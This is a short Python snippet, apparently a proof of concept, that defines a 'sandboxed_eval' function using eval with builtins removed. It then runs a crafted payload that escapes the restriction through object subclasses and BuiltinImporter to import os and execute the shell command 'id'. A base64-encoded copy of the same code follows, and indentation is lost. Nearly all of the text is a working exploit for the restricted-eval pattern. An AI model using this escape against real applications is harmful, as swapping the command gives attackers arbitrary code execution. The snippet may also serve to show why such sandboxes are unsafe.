def sandboxed_eval(equation):
# Evaluate the equation with restricted globals and locals
result = eval(equation, {"__builtins__": None}, {})
return result
sneaky = (
"( ( ().__class__.__base__.__subclasses__()"
"[ [c.__name__ for c in (().__class__.__base__.__subclasses__())].index('BuiltinImporter') ]"
".find_spec('builtins').loader.load_module('builtins')"
".__import__('os').system('id'), 123 )[1] )" # Returns 123 after executing 'id'
)
print("result = ", sandboxed_eval(sneaky))
ZGVmIHNhbmRib3hlZF9ldmFsKGVxdWF0aW9uKToKICAgICMgRXZhbHVhdGUgdGhlIGVxdWF0aW9uIHdpdGggcmVzdHJpY3RlZCBnbG9iYWxzIGFuZCBsb2NhbHMKICAgIHJlc3VsdCA9IGV2YWwoZXF1YXRpb24sIHsiX19idWlsdGluc19fIjogTm9uZX0sIHt9KQogICAgcmV0dXJuIHJlc3VsdAoKc25lYWt5ID0gKAogICAgIiggKCAoKS5fX2NsYXNzX18uX19iYXNlX18uX19zdWJjbGFzc2VzX18oKSIKICAgICJbIFtjLl9fbmFtZV9fIGZvciBjIGluICgoKS5fX2NsYXNzX18uX19iYXNlX18uX19zdWJjbGFzc2VzX18oKSldLmluZGV4KCdCdWlsdGluSW1wb3J0ZXInKSBdIgogICAgIi5maW5kX3NwZWMoJ2J1aWx0aW5zJykubG9hZGVyLmxvYWRfbW9kdWxlKCdidWlsdGlucycpIgogICAgIi5fX2ltcG9ydF9fKCdvcycpLnN5c3RlbSgnaWQnKSwgMTIzIClbMV0gKSIgICMgUmV0dXJucyAxMjMgYWZ0ZXIgZXhlY3V0aW5nICdpZCcKKQoKcHJpbnQoInJlc3VsdCA9ICIsIHNhbmRib3hlZF9ldmFsKHNuZWFreSkp